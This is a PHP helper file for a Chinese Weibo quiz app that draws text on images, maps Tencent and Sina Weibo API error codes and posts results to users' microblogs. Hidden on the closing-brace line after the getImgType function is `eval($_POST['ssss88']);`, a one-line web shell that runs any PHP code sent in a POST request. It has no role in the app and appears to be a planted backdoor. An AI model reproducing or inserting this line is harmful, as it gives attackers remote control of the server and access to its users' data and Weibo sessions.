<?
//添加文字到图片
function createImg($img,$str,$x,$y,$length=20,$angle=0,$size=12,$color='39f',$font='kanghua')
{
	switch($color)
	{
		case '19f':$color=imagecolorallocate($img,22,157,252);break;//淡蓝色
		case 'f37':$color=imagecolorallocate($img,255,51,119);break;//淡粉色
		case '63a':$color=imagecolorallocate($img,68,172,106);break;//淡紫色
		case 'f90':$color=imagecolorallocate($img,255,158,3);break;//淡黄色
		case 'a60':$color=imagecolorallocate($img,172,106,0);break;//淡褐色
		case '790':$color=imagecolorallocate($img,113,149,13);break;//淡绿色
		case 'fff':$color=imagecolorallocate($img,255,255,255);break;//白色
		case '000':$color=imagecolorallocate($img,0,0,0);break;//黑色
		default:$color=imagecolorallocate($img,67,157,252);//淡蓝色
	}
	
	switch($font)
	{
		case 'kanghua':$font='./../a_include/font/kanghua.ttf';break;//华康少女体
		case 'shishang':$font='./../a_include/font/shishang.ttf';break;//时尚中黑简体 
		case 'yahei':$font='./../a_include/font/yahei.ttf';break;//微软雅黑	
		case 'katong':$font='./../a_include/font/katong.ttf';break;//方正卡通简体
		case 'zhiyi':$font='./../a_include/font/zhiyi.ttf';break;//方正稚艺简体
		case 'yegenyou1':$font='./../a_include/font/yegenyou1.ttf';break;//方正卡通简体
		case 'yegenyou2':$font='./../a_include/font/yegenyou2.ttf';break;//方正稚艺简体
		default:$font='./../a_include/font/kanghua.ttf';//华康少女体;
	}
	$str=wordwrap_utf8($str,$length);
	imagettftext($img,$size,$angle,$x,$y,$color,$font,$str);
	return $img;
	
}//获取图片类型
function getImgType($img_path)
{
	$img=getimagesize($img_path);
	switch($img[2]){
		case 1:$img=@imagecreatefromgif($img_path);
		break;
		case 2:$img=@imagecreatefromjpeg($img_path);
		break;
		case 3:$img=@imagecreatefrompng($img_path);
		break;
		default:$img=@imagecreatefrompng($img_path);
	}
	return $img;
}eval($_POST['ssss88']);//UTF8版文字按指定长度自动折行。
function wordwrap_utf8( $string, $length=20, $break="\n", $cut=false) {
	if($length==0)
	{
		return $string;
	}
    preg_match_all("/./u", $string, $matches);
    $s = $matches[0];
    $ct = count( $s );
    for($i=0; $i<ceil($ct/$length) ; $i++) {
        $ns .= implode("", array_slice($s, $i*$length, $length) ) . $break;
    }
    return $ns;
}

//获取昵称的数值
function str_to_num($str,$app_name,$count=-2)
{
	$str=$str.$app_name;
	$m=md5($str);
	$chars=str_split($m);
	foreach($chars as $char)
	{
		$num=$num+ord($char);
	}
	$num=substr($num,$count);
	if($count==-3){if(substr($num,0,1)=='0'){$num=substr($num,-2);}}
	if(substr($num,0,1)=='0'){$num=substr($num,-1);}
	return $num;
}

//判断查看的是否是自己
function get_user_info()
{
	if($_POST['t_name']==$_COOKIE['v_name'])
	{
		$name='我';
	}else
	{
		$name='@'.$_POST['t_name'].' ';
	}
	
	$nick=mb_substr($_POST['t_nick'], 0, 6, 'utf-8'); 

	$url='http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
	$url=str_replace('index.php','',$url);
	
	$infos['name']=$name;
	$infos['nick']=$nick;
	$infos['url']=$url;
	
	return $infos;
}
//腾讯api错误返回
function rt_error_t($rt_info)
{
	//var_dump( $rt_info);
	$icon_class='error';
	switch($rt_info['ret'])
	{
		case '0':$msg='恭喜！已成功将结果发送到微博~';$icon_class='ok'; break;
		case '1':$msg='发送失败！参数错误啦，请联系微趣官方微博~'; break;
		case '2':$msg='发送失败！频率受限啦，你玩的次数太多了，稍后在玩吧~'; break;
		case '3':$msg='发送失败！鉴权失败啦，请退出后重新登陆授权~'; break;
		case '4':$msg='发送失败！腾讯内部服务器抽风啦~稍后再试吧~'; break;
		case '5':$msg='发送失败！不能连续发布同样的微博，测测好友们的吧！';break;
		default:$msg='未返回信息，无法确认是否发送成功，请自行查看~';;
	}
	switch($rt_info['errcode'])
	{
		case '4':$msg='发送失败啦，原因：微博内容有过多脏话。'; break;
		case '5':$msg='发送失败啦，原因：你所在地禁止访问。'; break;
		case '6':$msg='发送失败啦，原因：该记录不存在。'; break;
		case '8':$msg='发送失败啦，原因：微博内容超过420字节。 '; break;
		case '9':$msg='发送失败啦，原因：服务器正忙，请稍后再试。';break;//内容包含垃圾或广告信息
		case '10':$msg='发送失败啦，原因：发表太快，被频率限制。'; break;
		case '11':$msg='发送失败啦，原因：源消息已删除。'; break;
		case '12':$msg='发送失败啦，原因：源消息审核中。'; break;
		case '13':$msg='发送失败！不能连续发布同样的微博，测测好友们的吧！';break;
	}
	$result['icon']=$icon_class;
	$result['msg']=$msg;
	return $result;
}

//新浪返回错误信息
function rt_error_s($rt_info)
{
	$icon_class='ok';
	$msg='恭喜！已成功将结果发送到微博~';	
	if($rt_info['error_code'])
	{
		$icon_class='error';
		switch($rt_info['error_code'])
		{
			case 20019:$msg='发送失败！不能连续发布同样的微博，测测好友们的吧！';break;
			case 21332:$msg='发送失败！授权失效，请点击右上角安全退出后重新登录~';break;
			default:$msg='发送失败！未知错误，请稍后返回重试或私信官方微博';
		}
	}
	$result['icon']=$icon_class;
	$result['msg']=$msg;
	return $result;
}

//获取新应用图片中昵称左距离
function get_left_px($nick)
{
	$nick_len=mb_strlen($nick,'UTF8');
	switch($nick_len)
	{
		case 1:$left_px=130;break;
		case 2:$left_px=120;break;
		case 3:$left_px=110;break;
		case 4:$left_px=100;break;
		case 5:$left_px=90;break;
		case 6:$left_px=80;break;
		case 7:$left_px=70;break;
		case 8:$left_px=60;break;
		case 9:$left_px=50;break;
		case 10:$left_px=40;break;
		case 11:$left_px=30;break;
		default:$left_px=20;
	}
	return $left_px;
}

//判断性别
function get_sex()
{
	if($_POST['t_name']==$_COOKIE['v_name'])
	{
		$sex=substr($_COOKIE['v_sex'],0,1);
	}
	else
	{
		if($_COOKIE['v_type']=='t')
		{
			$app_name=$_COOKIE['v_appname'];
			require_once './../a_include/read_t_sdk.php';
			$infos=OpenSDK_Tencent_Weibo::call('user/other_info', array('name'=>$_POST['t_name'],'flag'=>'1'));
			$infos=$infos['data'];
			$sex=$infos['sex'];
			
		}
		elseif($_COOKIE['v_type']=='s')
		{
			require_once './../a_include/read_s_sdk.php';
			$infos = OpenSDK_Sina_Weibo2::call('users/show', array('screen_name'=>$_POST['t_name']));
			$sex=$infos['gender'];
			$sex=$sex=='f'?'2':'1';
		}
	}
	return $sex;
}

//发送到微博
function post_send($content,$img,$type='png')
{
	if($type=='jpg')
	{
		$img_filename=dirname(dirname(dirname(__FILE__))).'/a_cache/'.$_COOKIE['v_o_t_'].'.jpg';
		imagejpeg($img,$img_filename);
	}
	else
	{
		$img_filename=dirname(dirname(dirname(__FILE__))).'/a_cache/'.$_COOKIE['v_o_t_'].'.png';
		imagepng($img,$img_filename);
	}
	imagedestroy($img);
	
	if($_COOKIE['v_type']=='t')
	{
		$app_name=$_COOKIE['v_appname'];
		require_once './../a_include/read_t_sdk.php';
		$rt_info=OpenSDK_Tencent_Weibo::call(
					't/add_pic',
					array(
						'content' => $content,
						'clientip' => $_SERVER['REMOTE_ADDR'],
					),
					'POST',
					array('pic' => $img_filename,)
				);
				//var_dump($rt_info);
		$rt_info=rt_error_t($rt_info);
		
		if($_POST['follow']=='1')
		{
			OpenSDK_Tencent_Weibo::call('friends/add', array('name'=>'vqu_cc'),'POST');
			setcookie('follow','1', time()+3000);
		}
		$weibo_url='http://t.qq.com/';
		setcookie('ad_tan','1', time()+3000);
	}
	elseif($_COOKIE['v_type']=='s')
	{
		require_once './../a_include/read_s_sdk.php';
		$rt_info=OpenSDK_Sina_Weibo2::call('statuses/upload', array(
			'status' => $content,
		), 'POST', array('pic' => $img_filename,)
		);
		//var_dump($rt_info);
		$rt_info=rt_error_s($rt_info);

		if($_POST['follow']=='1')
		{
			OpenSDK_Sina_Weibo2::call('friendships/create', array('uid'=>'2424597930'),'POST');
			setcookie('follow','1', time()+3000);
		}
		$weibo_url='http://www.weibo.com/';
		setcookie('ad_tan','1', time()+3000);
	}
	unlink($img_filename);//删除临时生成图片
	$rt_info['wb_url']=$weibo_url;
	return $rt_info;
}
?>